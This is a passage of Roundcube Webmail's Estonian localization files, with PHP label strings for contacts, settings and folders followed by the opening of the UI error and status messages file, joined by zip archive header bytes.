$labels['male'] = 'mees';
$labels['female'] = 'naine';
$labels['manager'] = 'Juht';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Abikaasa';
$labels['allfields'] = 'Kõik väljad';
$labels['search'] = 'Otsi';
$labels['searchresult'] = 'Otsingutulemused';
$labels['advsearch'] = 'Täpsem otsing';
$labels['advanced'] = 'Edasijõudnutele';
$labels['other'] = 'Muu';
$labels['printcontact'] = 'Prindi kontakt';
$labels['qrcode'] = 'QR kood';
$labels['typehome'] = 'Kodu';
$labels['typework'] = 'Töö';
$labels['typeother'] = 'Muu';
$labels['typemobile'] = 'Mobiil';
$labels['typemain'] = 'Peamine';
$labels['typehomefax'] = 'Kodune fax';
$labels['typeworkfax'] = 'Töö fax';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Piipar';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Veebileht';
$labels['typeblog'] = 'Ajaveeb';
$labels['typeprofile'] = 'Profiil';
$labels['addfield'] = 'Lisa väli...';
$labels['addcontact'] = 'Lisa kontakt';
$labels['editcontact'] = 'Muuda kontakti';
$labels['contacts'] = 'Kontaktid';
$labels['contactproperties'] = 'Kontakti omadused';
$labels['contactnameandorg'] = 'Nimi ja Organisatsioon';
$labels['personalinfo'] = 'Isiklik info';
$labels['personal'] = 'Isiklik';
$labels['contactphoto'] = 'Kontakti pilt';
$labels['edit'] = 'Muuda';
$labels['cancel'] = 'Katkesta';
$labels['save'] = 'Salvesta';
$labels['delete'] = 'Kustuta';
$labels['discard'] = 'Loobu';
$labels['continue'] = 'Jätka';
$labels['ok'] = 'OK';
$labels['rename'] = 'Nimeta ümber';
$labels['addphoto'] = 'Lisa';
$labels['replacephoto'] = 'Asenda';
$labels['uploadphoto'] = 'Lisa foto';
$labels['choosefile'] = 'Vali fail...';
$labels['choosefiles'] = 'Vali failid...';
$labels['browse'] = 'Sirvi';
$labels['newcontact'] = 'Loo uus kontakt';
$labels['deletecontact'] = 'Kustuta märgistatud kontaktid';
$labels['composeto'] = 'Kirjuta kiri';
$labels['contactsfromto'] = 'Kirjed $from kuni $to, kokku $count';
$labels['print'] = 'Trüki';
$labels['export'] = 'Ekspordi';
$labels['exportall'] = 'Ekspordi kõik';
$labels['exportsel'] = 'Ekspordi valitud';
$labels['exportvcards'] = 'Ekspordi kontaktid vCardi formaadis';
$labels['newgroup'] = 'Loo uus grupp';
$labels['addgroup'] = 'Lisa grupp';
$labels['grouprename'] = 'Nimeta grupp ümber';
$labels['groupdelete'] = 'Kustuta grupp';
$labels['groupassign'] = 'Lisa gruppi';
$labels['groupremove'] = 'Eemalda grupist';
$labels['groupremoveselected'] = 'Eemalda valitud kontaktid grupist';
$labels['uponelevel'] = 'Üks tase kõrgemale';
$labels['previouspage'] = 'Näita eelmist lehte';
$labels['firstpage'] = 'Näita esimest komplekti';
$labels['nextpage'] = 'Näita järgmist lehte';
$labels['lastpage'] = 'Näita viimast komplekti';
$labels['group'] = 'Grupp';
$labels['groups'] = 'Grupid';
$labels['listgroup'] = 'Näita grupi liikmeid';
$labels['personaladrbook'] = 'Isiklikud aadressid';
$labels['searchsave'] = 'Salvesta otsing';
$labels['searchdelete'] = 'Kustuta otsing';
$labels['import'] = 'Impordi';
$labels['importcontacts'] = 'Impordi kontakte';
$labels['importfromfile'] = 'Impordi failist';
$labels['importtarget'] = 'Lisa kontaktid ';
$labels['importreplace'] = 'Asenda kogu aadressiraamat';
$labels['importgroups'] = 'Impordi grupi ülessanded';
$labels['importgroupsall'] = 'Kõik (loo vajadusel grupid)';
$labels['importgroupsexisting'] = 'Ainult olemasolevatele gruppidele';
$labels['importdesc'] = 'Saate ülesse laadida kontakte olemasolevast aadressi raamatust. <br/>Hetkel on toetatud aadresside importimine <a href="https://en.wikipedia.org/wiki/VCard">vCard</a>või CSV(komaga eraldatud) andmete formaadis. ';
$labels['fieldnotmapped'] = 'Väli pole seotud (ära impordi)';
$labels['skipheader'] = 'Ära impordi esimest rida (päis)';
$labels['done'] = 'Valmis';
$labels['settingsfor'] = 'Kasutajaeelistused kontole';
$labels['about'] = 'Programmist lähemalt';
$labels['preferences'] = 'Eelistused';
$labels['userpreferences'] = 'Kasutaja eelistused';
$labels['editpreferences'] = 'Muuda kasutaja eelistusi';
$labels['identities'] = 'Identiteedid';
$labels['manageidentities'] = 'Halda identiteete';
$labels['newidentity'] = 'Loo uus identiteet';
$labels['addidentity'] = 'Lisa identiteet';
$labels['editidentity'] = 'Muuda identiteeti';
$labels['identityencryption'] = 'Krüpteerimine';
$labels['preferhtml'] = 'Eelista HTMLi';
$labels['defaultcharset'] = 'Vaikimisi märgistik';
$labels['htmlmessage'] = 'HTML kirjad';
$labels['messagepart'] = 'Osa';
$labels['digitalsig'] = 'Digitaalne allkiri';
$labels['dateformat'] = 'Kuupäeva vorming';
$labels['timeformat'] = 'Aja vorming';
$labels['prettydate'] = 'Kenad kuupäevad';
$labels['setdefault'] = 'Muuda vaikeseadeks';
$labels['autodetect'] = 'Automaatne';
$labels['language'] = 'Keel';
$labels['timezone'] = 'Ajavöönd';
$labels['pagesize'] = 'Ridu lehe kohta';
$labels['signature'] = 'Allkiri';
$labels['dstactive'] = 'Suveaeg';
$labels['showinextwin'] = 'Ava kiri uues aknas';
$labels['composeextwin'] = 'Koosta uues aknas';
$labels['htmleditor'] = 'Kasuta HTML redaktorit';
$labels['htmlonreply'] = 'vaid HTML-vormingus kirjale vastamisel';
$labels['htmlonreplyandforward'] = 'edastamisel või HTML kirjale vastates';
$labels['htmlsignature'] = 'HTML allkiri';
$labels['showemail'] = 'Näita nime juures e-posti aadressi';
$labels['previewpane'] = 'Näita eelvaate akent';
$labels['skin'] = 'Kliendi välimus';
$labels['logoutclear'] = 'Tühjenda väljumisel prügikast';
$labels['logoutcompact'] = 'Tihenda väljumisel sissetulevate kaust';
$labels['uisettings'] = 'Kasutajaliides';
$labels['serversettings'] = 'Serveri seaded';
$labels['mailboxview'] = 'Postkasti vaade';
$labels['mdnrequests'] = 'Kättesaamiskinnitus';
$labels['askuser'] = 'küsi kasutajalt';
$labels['autosend'] = 'saada automaatselt';
$labels['autosendknown'] = 'saada automaatselt minu kontaktidele, teised küsi üle';
$labels['autosendknownignore'] = 'saada automaatselt minu kontaktidele, teisi ignoreeri';
$labels['ignorerequest'] = 'eira palvet';
$labels['readwhendeleted'] = 'Märgi kiri kustutamisel loetuks';
$labels['flagfordeletion'] = 'Kustutamise asemel märgi kiri kustutatavaks';
$labels['skipdeleted'] = 'Ära näita kustutatud kirju';
$labels['deletealways'] = 'Kui kirjade prügikasti liigutamine nurjub, siis kustuta need';
$labels['deletejunk'] = 'Kustuta Rämps kaustas olevad kirjad kohe';
$labels['showremoteimages'] = 'Näita kirjas kaugelt kaasatud pilte';
$labels['fromknownsenders'] = 'tuntud saatjatelt';
$labels['fromtrustedsenders'] = 'usaldusväärsetelt saatjatelt';
$labels['frommycontacts'] = 'minu kontaktidelt';
$labels['always'] = 'alati';
$labels['alwaysbutplain'] = 'alati, välja arvatud lihttekstile vastates';
$labels['showinlineimages'] = 'Näita manustatud pilte kirja all';
$labels['autosavedraft'] = 'Salvesta mustandid automaatselt';
$labels['everynminutes'] = 'iga $n minuti tagant';
$labels['refreshinterval'] = 'Värskenda (kontrolli uusi kirju, jne.)';
$labels['never'] = 'mitte kunagi';
$labels['immediately'] = 'otsekohe';
$labels['messagesdisplaying'] = 'Kirjade näitamine';
$labels['messagescomposition'] = 'Kirja koostamine';
$labels['mimeparamfolding'] = 'Manuste nimed';
$labels['2231folding'] = 'Täielik RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Täielik RFC 2047 (muu)';
$labels['force7bit'] = '8-bitiste märkide puhul kasuta MIME kodeerimist';
$labels['savelocalstorage'] = "Salvesta veebilehitseja kohalikku hoidlasse (ajutiselt)";
$labels['advancedoptions'] = 'Lisaseadistused';
$labels['toggleadvancedoptions'] = 'Näita lisaseadistusi';
$labels['focusonnewmessage'] = 'Fookusta brauseri aken uue kirja korral';
$labels['checkallfolders'] = 'Kontrolli uusi kirju kõigist kaustadest';
$labels['displaynext'] = 'Näita pärast kustutamist või liigutamist järgmist sissekannet nimekirjas';
$labels['defaultfont'] = 'HTML kirjade vaikefont';
$labels['mainoptions'] = 'Peamised valikud';
$labels['browseroptions'] = 'Sirvimis valikud';
$labels['section'] = 'Osa';
$labels['maintenance'] = 'Hooldus';
$labels['newmessage'] = 'Uus kiri';
$labels['signatureoptions'] = 'Allkirja valikud';
$labels['whenreplying'] = 'Vastates';
$labels['replyempty'] = 'ära tsiteeri esialgset kirja';
$labels['replytopposting'] = 'alusta uue kirjaga esialgse kohal';
$labels['replybottomposting'] = 'alusta uue kirjaga esialgse all';
$labels['replyremovesignature'] = 'Vastates eemalda kirjast esialgne allkiri';
$labels['autoaddsignature'] = 'Lisa allkiri automaatselt';
$labels['newmessageonly'] = 'ainult uutele';
$labels['replyandforwardonly'] = 'ainult vastates ja edastades';
$labels['insertsignature'] = 'Sisesta allkiri';
$labels['sigbelow'] = 'Pane allkiri tsiteeritud kirja alla';
$labels['automarkread'] = 'Märgi sõnum loetuks';
$labels['afternseconds'] = '$n sekundi pärast';
$labels['reqmdn'] = 'Nõua alati kättesaamiskinnitust';
$labels['reqdsn'] = 'Nõua alati kohalejõudmisteavitust';
$labels['replysamefolder'] = 'Paiguta vastused samasse kausta, millele vastatakse';
$labels['defaultabook'] = 'Vaikimisi aadressiraamat';
$labels['autocompletesingle'] = 'Automaatlõpetuses jäta alternatiivne e-posti aadress vahele';
$labels['listnamedisplay'] = 'Näita kontakte kui';
$labels['contactformmode'] = 'Konktaktivormi režiim';
$labels['privatemode'] = 'Privaatne (kodu)';
$labels['businessmode'] = 'Töö (Kontor)';
$labels['collectedaddresses'] = 'Kogutud aadressid';
$labels['collectedrecipients'] = 'Kogutud saajad';
$labels['collectedrecipientsopt'] = 'Salvesta väljuvad kontaktid:';
$labels['collectedsendersopt'] = 'Salvesta usaldusväärsed saatjad:';
$labels['trustedsenders'] = 'Usaldusväärsed saatjad';
$labels['spellcheckbeforesend'] = 'Kontrolli õigekirja enne saatmist';
$labels['spellcheckoptions'] = 'Õigekirjakontrolli valikud';
$labels['spellcheckignoresyms'] = 'Ignoreeri sõnu, milles on sümbolid';
$labels['spellcheckignorenums'] = 'Ignoreeri sõnu, milles on numbreid';
$labels['spellcheckignorecaps'] = 'Ignoreeri suurte tähtedega kirjutatud sõnu';
$labels['addtodict'] = 'Lisa sõnastikku';
$labels['mailtoprotohandler'] = 'Kasuta mailto: linkide avamisel';
$labels['standardwindows'] = 'Käsitle hüpikaknaid tavaliste akendena';
$labels['forwardmode'] = 'Kirja edastamine';
$labels['inline'] = 'kirja sees';
$labels['asattachment'] = 'manusena';
$labels['replyallmode'] = 'Vaike käitumine [Vasta kõigile] nupul';
$labels['replyalldefault'] = 'Vasta kõigile';
$labels['replyalllist'] = 'vasta ainult postiloendile (juhul kui leitud)';
$labels['allmessages'] = 'kõik kirjad';
$labels['folder'] = 'Kaust';
$labels['folders'] = 'Kaustad';
$labels['foldername'] = 'Kausta nimi';
$labels['subscribed'] = 'Näitan';
$labels['messagecount'] = 'Kirju';
$labels['create'] = 'Loo';
$labels['createfolder'] = 'Uue kausta loomine';
$labels['managefolders'] = 'Halda kaustu';
$labels['specialfolders'] = 'Erilised kaustad';
$labels['properties'] = 'Omadused';
$labels['folderproperties'] = 'Kausta omadused';
$labels['parentfolder'] = 'Ülemine kaust';
$labels['location'] = 'Asukoht';
$labels['info'] = 'Teave';
$labels['getfoldersize'] = 'Kliki kausta suuruse teadasaamiseks';
$labels['changesubscription'] = 'Kliki kausta tellimuste muutmiseks';
$labels['foldertype'] = 'Kausta tüüp';
$labels['personalfolder'] = 'Isiklik kaust';
$labels['otherfolder'] = 'Teiste kasutajate kaust';
$labels['sharedfolder'] = 'Avalik kaust';
$labels['findfolders'] = 'Otsi kaustasi';
$labels['findcontacts'] = 'Otsi kontakte';
$labels['findmail'] = 'Otsi maile';
$labels['namespace.personal'] = 'Isiklik';
$labels['namespace.other'] = 'Teised kasutajad';
$labels['namespace.shared'] = 'Jagatud';
$labels['dualuselabel'] = 'Võib sisaldada ainult';
$labels['dualusemail'] = 'sõnumid';
$labels['dualusefolder'] = 'Kataloogid';
$labels['generate'] = 'Genereeri';
$labels['encryptioncreatekey'] = 'Loo uus võtme paar';
$labels['openmailvelopesettings'] = 'Ava Mailvelope seaded';
$labels['encryption'] = 'Krüpteerimine';
$labels['mailvelopeoptions'] = 'Mailvelope valikud';
$labels['mailvelopemainkeyring'] = 'Kasuta Mailvelope peamist võtmerõngast';
$labels['sortby'] = 'Järjesta';
$labels['sortasc'] = 'Järjesta kasvavalt';
$labels['sortdesc'] = 'Järjesta kahanevalt';
$labels['undo'] = 'Võta tagasi';
$labels['installedplugins'] = 'Paigaldatud pluginad';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Versioon';
$labels['source'] = 'Allikas';
$labels['destination'] = 'Sihtkoht';
$labels['license'] = 'Litsents';
$labels['support'] = 'Küsi abi';
$labels['savedsearches'] = 'Salvestatud otsingud';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KiB';
$labels['MB'] = 'MiB';
$labels['GB'] = 'GiB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'inglise';
$labels['westerneuropean'] = 'Lääne-Euroopa';
$labels['easterneuropean'] = 'Ida-Euroopa';
$labels['southeasterneuropean'] = 'Kagu-Euroopa';
$labels['baltic'] = 'balti';
$labels['cyrillic'] = 'kirillitsa';
$labels['arabic'] = 'araabia';
$labels['greek'] = 'kreeka';
$labels['hebrew'] = 'heebrea';
$labels['turkish'] = 'türgi';
$labels['nordic'] = 'põhjamaa';
$labels['thai'] = 'tai';
$labels['celtic'] = 'keldi';
$labels['vietnamese'] = 'vietnami';
$labels['japanese'] = 'jaapani';
$labels['korean'] = 'korea';
$labels['chinese'] = 'hiina';
$labels['arialabeltopnav'] = 'Akna kontroll';
$labels['arialabeltasknav'] = 'Rakenduse ülesanded';
$labels['arialabeltoolbar'] = 'Rakenduse tööriba';
$labels['arialabelactivetask'] = 'Aktiivne ülesanne';
$labels['arialabelmessagessearchfilter'] = 'E-kirja näitamise filter';
$labels['arialabelmailsearchform'] = 'E-kirja otsimise vorm';
$labels['arialabelcontactsearchform'] = 'Kontakti otsimise vorm';
$labels['arialabelmailquicksearchbox'] = 'E-kirja otsingu sisend';
$labels['arialabelquicksearchbox'] = 'Otsingu sisend';
$labels['arialabelfoldersearchfilter'] = 'Kausta näitamise filter';
$labels['arialabelfoldersearchform'] = 'Kausta otsimise vorm';
$labels['arialabelfolderlist'] = 'E-kirja kausta valik';
$labels['arialabelmessagelist'] = 'E-kirjade näitamine';
$labels['arialabelmailpreviewframe'] = 'Kirja eelvaade';
$labels['arialabelmailboxmenu'] = 'Kausta tegevuste menüü';
$labels['arialabellistselectmenu'] = 'Nimekirja valiku menüü';
$labels['arialabelthreadselectmenu'] = 'Lõimede näitamise menüü';
$labels['arialabelmessagelistoptions'] = 'Kirjade näitamise ja sorteerimise võimalused';
$labels['arialabelmailimportdialog'] = 'Kirja importi dialoog';
$labels['arialabelmessagenav'] = 'Kirja navigatsioon';
$labels['arialabelmessagebody'] = 'Kirja sisu';
$labels['arialabelmessageactions'] = 'Kirja tegevus';
$labels['arialabelcontactquicksearch'] = 'Kontakti otsingu vorm';
$labels['arialabelcontactsearchbox'] = 'Kontakti otsingu sisend';
$labels['arialabelmessageheaders'] = 'Kirja päis';
$labels['arialabelforwardingoptions'] = 'Edasisuunamise valikud';
$labels['arialabelreplyalloptions'] = 'Vasta kõigile valikud';
$labels['arialabelmoremessageactions'] = 'Rohkem kirja tegevusi';
$labels['arialabelmorecontactactions'] = 'Veel kontakti tegevusi';
$labels['arialabelmarkmessagesas'] = 'Märgi valitud kirjad';
$labels['arialabelcomposeoptions'] = 'Koostamise valikud';
$labels['arialabelresponsesmenu'] = 'Vastuse mallide menüü';
$labels['arialabelattachmentuploadform'] = 'Manuse ülesselaadimise vorm';
$labels['arialabelattachmentmenu'] = 'Manuse valikud';
$labels['arialabelmailtomenu'] = 'Meiliaadressi valikud';
$labels['arialabelattachmentpreview'] = 'Manuse eelvaade';
$labels['ariasummarycomposecontacts'] = 'Nimekiri kontaktidest ja gruppidest keda valida vastuvõtjateks';
$labels['arialabelcontactexportoptions'] = 'Kontakti ekspordi võimalused';
$labels['arialabelabookgroupoptions'] = 'Telefoniraamatu/grupi võimalused';
$labels['arialabelpreferencesform'] = 'Eelistuste vorm';
$labels['arialabelidentityeditfrom'] = 'Identiteedi muutmis vorm';
$labels['arialabelresponseeditfrom'] = 'Vastuse muutmis vorm';
$labels['arialabelsearchterms'] = 'Otsingusõnad';
$labels['arialabelimagetools'] = 'Pildi tööriistad';
$labels['helplistnavigation'] = 'Näita klaviatuuri navigatsiooni';
$labels['helplistkeyboardnavigation'] = "Nooled üles/alla: Muuda rida fokuseeri/vali
Tühik: Vali fokuseeritud rida
Shift + üles/alla: Vali lisaks rida alt/ülevalt
Ctrl + Space: Lisa fokuseeritud rida valikusse/eemalda valikust";
$labels['helplistkeyboardnavmessages'] = "Nooled paremale/vasakule: laienda/peida kirjade lõimed
Enter: Ava valitud/fokuseeritud kiri
Delete: Liigutda valitud kiri prügikasti.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Ava valitud/fokuseeritud kontakt";
PK
h�\
<�`:`:'program/localization/et_EE/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Ilmnes tõrge!';
$messages['loginfailed']  = 'Sisselogimine ebaõnnestus.';
$messages['cookiesdisabled'] = 'Sinu veebilehitseja ei võta präänikuid vastu';
$messages['sessionerror'] = 'Sinu seanss on aegunud või vigane';
$messages['cookiesmismatch'] = 'Tuvastatud küpsise sobimatus. Tühjenda oma brauseri küpsised.';
$messages['storageerror'] = 'Ei õnnestunud IMAP serveriga ühendust luua';
$messages['servererror'] = 'Serveri tõrge!';
$messages['servererrormsg'] = 'Serveri tõrge: $msg';
$messages['accountlocked'] = 'Liiga palju ebaõnnestunud sisselogimiskatseid. Proovi hiljem uuesti.';
$messages['connerror'] = 'Viga ühenduses (Ei suutnud luua ühendust serveriga)';
$messages['dberror'] = 'Andmebaasi tõrge!';
$messages['windowopenerror'] = 'Hüpikaken blokeeriti!';
$messages['requesttimedout'] = 'Päring aegus';
$messages['errorreadonly'] = 'Operatsioon nurjus. Kaustale on vaid lugemisõigus';
$messages['errornoperm'] = 'Operatsioon nurjus. Ligipääsu õigused puuduvad';
$messages['erroroverquota'] = 'Operatsioon nurjus. Ketas on täis.';
$messages['erroroverquotadelete'] = 'Ketas on täis. Kirja kustutamiseks vajuta SHIFT+DEL.';
$messages['invalidrequest'] = 'Lubamatu päring! Andmeid ei salvestatud.';
$messages['invalidhost'] = 'Lubamatu serveri nimi.';
$messages['nomessagesfound'] = 'Postkast paistab tühi olevat';
$messages['loggedout'] = 'Oled sessiooni edukalt lõpetanud. Nägemist!';
$messages['mailboxempty'] = 'Postkast on tühi';
$messages['nomessages'] = 'Pole teateid';
$messages['refreshing'] = 'Värskendamine…';
$messages['loading'] = 'Laadin...';
$messages['uploading'] = 'Laadin faili üles...';
$messages['attaching'] = 'Lisan faili...';
$messages['uploadingmany'] = 'Failide üleslaadimine...';
$messages['loadingdata'] = 'Andmete laadimine...';
$messages['checkingmail'] = 'Kontrollin uusi kirju...';
$messages['sendingmessage'] = 'Saadan kirja...';
$messages['messagesent'] = 'Kiri edukalt saadetud';
$messages['savingmessage'] = 'Salvestan kirja...';
$messages['messagesaved'] = 'Kiri salvestatud mustanditesse';
$messages['successfullysaved'] = 'Edukalt salvestatud';
$messages['savingresponse'] = 'Salvestan vastuse teksti...';
$messages['deleteresponseconfirm'] = 'Soovid valitud vastuse kustutada?';
$messages['nocontactselected'] = 'Sa ei ole veel kontakti valinud';
$messages['addedsuccessfully'] = 'Kontakt lisati edukalt aadressiraamatusse';
$messages['contactexists'] = 'Sama e-posti aadressiga kontakt on juba olemas.';
$messages['contactnameexists'] = 'Sama nimega kontakt on juba olemas.';
$messages['blockedimages'] = 'Sinu privaatsuse kaitsmiseks on selles kirjas välised pildid blokeeritud.';
$messages['blockedresources'] = 'Sinu privaatsuse kaitsmiseks on kaugressursid blokeeritud.';
$messages['encryptedmessage'] = 'See on krüpteeritud kiri ja kahjuks pole seda võimalik näidata. Andestust!';
$messages['externalmessagedecryption'] = 'See on krüptitud kiri ja selle saab teie brauserilaiendiga dekrüpteerida.';
$messages['nopubkeyfor'] = 'Ei leitud ühtegi kehtivat avalikku $email võtit';
$messages['nocontactsfound'] = 'Ei leitud ühtegi kontakti';
$messages['contactnotfound'] = 'Otsitud kontakti ei leitud';
$messages['contactsearchonly'] = 'Valitud aadressiraamatus olevate kontaktide nägemiseks pead kasutama otsinguvormi.';
$messages['sendingfailed'] = 'Kirja saatmine ebaõnnestus';
$messages['senttooquickly'] = 'Palun oota enne selle kirja saatmist $sec sekundit.';
$messages['errorsavingsent'] = 'Saadetud kirja salvestamisel ilmnes tõrge';
$messages['errorsaving'] = 'Salvestamisel ilmnes tõrge.';
$messages['errormoving'] = 'Ei suutnud seda kirja liigutada';
$messages['errorcopying'] = 'Kirju ei õnnestunud kopeerida';
$messages['errordeleting'] = 'Ei suutnud seda kirja kustutada';
$messages['errormarking'] = 'Kirja märkimine nurjus';
$messages['alerttitle'] = 'Tähelepanu';
$messages['confirmationtitle'] = 'Oled sa kindel...';
$messages['deletecontactconfirm']  = 'Soovid valitud kontaktid kustutada?';
$messages['deletegroupconfirm']  = 'Soovid valitud grupi kustutada?';
$messages['deletemessagesconfirm'] = 'Soovid valitud kirja(d) kustutada?';
$messages['deletefolderconfirm']  = 'Soovid selle kataloogi kindlasti kustutada?';
$messages['movefolderconfirm']  = 'Kas soovid tõesti selle kausta teisaldada?';
$messages['purgefolderconfirm']  = 'Soovid sellest kaustast kõik kirjad kustutada?';
$messages['contactdeleting'] = 'Kontakti(de) kustutamine…';
$messages['groupdeleting'] = 'Grupi kustutamine…';
$messages['folderdeleting'] = 'Kustutan kausta...';
$messages['foldermoving'] = 'Liigutan kausta...';
$messages['foldersubscribing'] = 'Tellin kausta...';
$messages['folderunsubscribing'] = 'Peatan kausta tellimuse...';
$messages['formincomplete'] = 'Vormi kõik väljad ei ole täidetud';
$messages['noemailwarning'] = 'Palun sisesta toimiv e-posti aadress';
$messages['nonamewarning']  = 'Palun sisesta nimi';
$messages['nopagesizewarning'] = 'Palun sisesta lehekülje suurus';
$messages['nosenderwarning'] = 'Sisesta saatja e-posti aadress.';
$messages['recipientsadded'] = 'Adressaat edukalt lisatud.';
$messages['norecipientwarning'] = 'Palun sisesta vähemalt üks adressaat';
$messages['disclosedreciptitle'] = 'Liiga palju avalikke adressaate';
$messages['nosubjectwarning']  = 'Väli „Pealkiri“ on tühi. Soovid selle ära täita?';
$messages['nosubjecttitle']  = 'Teema puudub';
$messages['nobodywarning'] = 'Saadan selle kirja ilma tekstita?';
$messages['notsentwarning'] = 'Sõnumit ei ole saadetud ja selles on salvestamata muudatusi. Kas soovid muudatustest loobuda?';
$messages['restoresavedcomposedata'] = 'Eelnevalt loodud aga saatmatta kiri leiti.\n\nTeema: $subject\nSalvestatud: $date\n\nKas sa soovid antud kirja taastada?';
$messages['nosearchname'] = 'Palun sisesta kontakti nimi või e-posti aadress';
$messages['notuploadedwarning'] = 'Kõiki manuseid ei ole veel üles laaditud. Palun oota või tühista üleslaadimine.';
$messages['searchsuccessful'] = 'Leiti $nr kirja';
$messages['contactsearchsuccessful'] = 'Leiti $nr kontakti.';
$messages['searchnomatch'] = 'Otsingule vastavaid kirju ei leitud';
$messages['searching'] = 'Otsin...';
$messages['checking'] = 'Kontrollin...';
$messages['stillsearching'] = 'Otsin....';
$messages['nospellerrors'] = 'Õigekirjavigu ei leitud';
$messages['folderdeleted'] = 'Kausta kustutamine õnnestus';
$messages['foldersubscribed'] = 'Kausta tellimine õnnestus';
$messages['folderunsubscribed'] = 'Kausta tellimise peatamine õnnestus';
$messages['deletedsuccessfully'] = 'Edukalt kustutatud';
$messages['converting'] = 'Eemaldan kirjast vormindust...';
$messages['messageopenerror'] = 'Kirjade serverist laadimine ebaõnnestus';
$messages['filelinkerror'] = 'Faili lisamine ebaõnnestus.';
$messages['fileuploaderror'] = 'Faili üleslaadimine ebaõnnestus';
$messages['filesizeerror'] = 'Üleslaetava faili suurus ületab maksimaalse suuruse $size';
$messages['filecounterror'] = 'Maksimaalselt saad lisada $count faili korraga.';
$messages['msgsizeerror'] = 'Faili lisamine ebaõnnestus. Sõnumi maksimaalne suurus ($size) on ületatud.';
$messages['msgsizeerrorfwd'] = 'Sõnumi maksimaalne suurus ($size) on ületatud. $num sõnumit pole lisatud.';
$messages['copysuccess'] = '$nr kontakti edukalt kopeeritud.';
$messages['movesuccess'] = '$nr kontakti edukalt liigutatud.';
$messages['copyerror'] = 'Ühegi kontakti kopeerimine ei õnnestunud.';
$messages['moveerror'] = 'Ühegi kontakti liigutamine ei õnnestunud.';
$messages['sourceisreadonly'] = 'Aadressi asukohas puuduvad kirjutusõigused';
$messages['errorsavingcontact'] = 'Kontakti aadressi salvestamine ebaõnnestus';
$messages['movingmessage'] = 'Liigutan kirja...';
$messages['copyingmessage'] = 'Kopeerin kirja...';
$messages['copyingcontact'] = 'Kontakti(de) kopeerimine…';
$messages['movingcontact'] = 'Kontakti(de) liigutamine…';
$messages['deletingmessage'] = 'Kustutan kirja...';
$messages['markingmessage'] = 'Märgin kirja...';
$messages['addingmember'] = 'Kontakti(de) gruppi lisamine…';
$messages['removingmember'] = 'Kontakti(de) grupist eemaldamine…';
$messages['receiptsent'] = 'Kättesaamiskinnitus saadetud';
$messages['errorsendingreceipt'] = 'Ei õnnestunud kättesaamiskinnitust saata';
$messages['deleteidentityconfirm'] = 'Soovid selle identiteedi kustutada?';
$messages['nodeletelastidentity'] = 'See identiteet on viimane ja seda ei saa kustutada.';
$messages['forbiddencharacter'] = 'Kausta nimi sisaldab keelatud sümbolit';
$messages['selectimportfile'] = 'Palun vali üleslaadimiseks fail';
$messages['addresswriterror'] = 'Valitud aadressiraamat pole kirjutatav';
$messages['contactaddedtogroup'] = 'Kontaktide lisamine gruppi õnnestus';
$messages['contactremovedfromgroup'] = 'Kontaktide eemaldamine grupist õnnestus';
$messages['nogroupassignmentschanged'] = 'Gruppide ülesandeid ei muudetud';
$messages['importwait'] = 'Impordin, palun oota...';
$messages['importformaterror'] = 'Import nurjus! Laaditud fail ei sisalda sobilikke andmeid.';
$messages['importconfirm'] = '<b>Edukalt imporditud $inserted kontakti, $skipped olemasolevat sissekannet vahele jäetud</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b> $skipped olemasolevat kirjet jäeti vahele</b>';
$messages['importmessagesuccess'] = '$nr kirja edukalt imporditud';
$messages['importmessageerror'] = 'Import nurjus! Laaditud fail ei ole kirja ega postkasti fail';
$messages['opnotpermitted'] = 'Tegevus pole lubatud!';
$messages['nofromaddress'] = 'Valitud identiteedis puudub e-posti aadress.';
$messages['editorwarning'] = 'Klaarteksti redaktorile lülitamine kaotab kogu teksti vorminduse. Soovid jätkata?';
$messages['httpreceivedencrypterror'] = 'Viga seadistustes. Võta kohe oma süsteemiadministraatoriga ühendust. <b>Sinu kirja polnud võimalik ära saata.</b>';
$messages['smtpconnerror'] = 'SMTP tõrge ($code): serveriga ühendumine nurjus';
$messages['smtpautherror'] = 'SMTP tõrge ($code): autentimine nurjus';
$messages['smtpfromerror'] = 'SMTP tõrge ($code): "$from" saatjaks määramine nurjus ($msg)';
$messages['smtptoerror'] = 'SMTP tõrge ($code): "$to" saajaks määramine nurjus ($msg)';
$messages['smtprecipientserror'] = 'SMTP tõrge: saajate nimekirja parsimine nurjus';
$messages['smtputf8error'] = 'SMTP Viga: Server ei toeta Unicode\'i e-posti aadressi.';
$messages['smtpsizeerror'] = 'SMTP Viga: Kirja suurus ületab serveri limiiti ($limit)';
$messages['smtperror'] = 'SMTP tõrge: $msg';
$messages['emailformaterror'] = 'Vigane e-posti aadress: $email';
$messages['toomanyrecipients'] = 'Liiga palju adressaate. Vähenda kirja saajate hulka $max-ni.';
$messages['maxgroupmembersreached'] = 'Grupi liikmete arv ületab suurima lubatud $max';
$messages['internalerror'] = 'Ilmnes sisemine tõrge. Palun proovi uuesti.';
$messages['contactdelerror'] = 'Kontaktide kustutamine nurjus';
$messages['contactdeleted'] = 'Kontaktide kustutamine õnnestus';
$messages['contactrestoreerror'] = 'Kustutatud kontakti(de) taastamine nurjus.';
$messages['contactrestored'] = 'Kontakt(id) edukalt taastatud.';
$messages['groupdeleted'] = 'Grupi kustutamine õnnestus';
$messages['grouprenamed'] = 'Grupi ümbernimetamine õnnestus';
$messages['groupcreated'] = 'Grupi loomine õnnestus';
$messages['savedsearchdeleted'] = 'Salvestatud otsing edukalt kustutatud.';
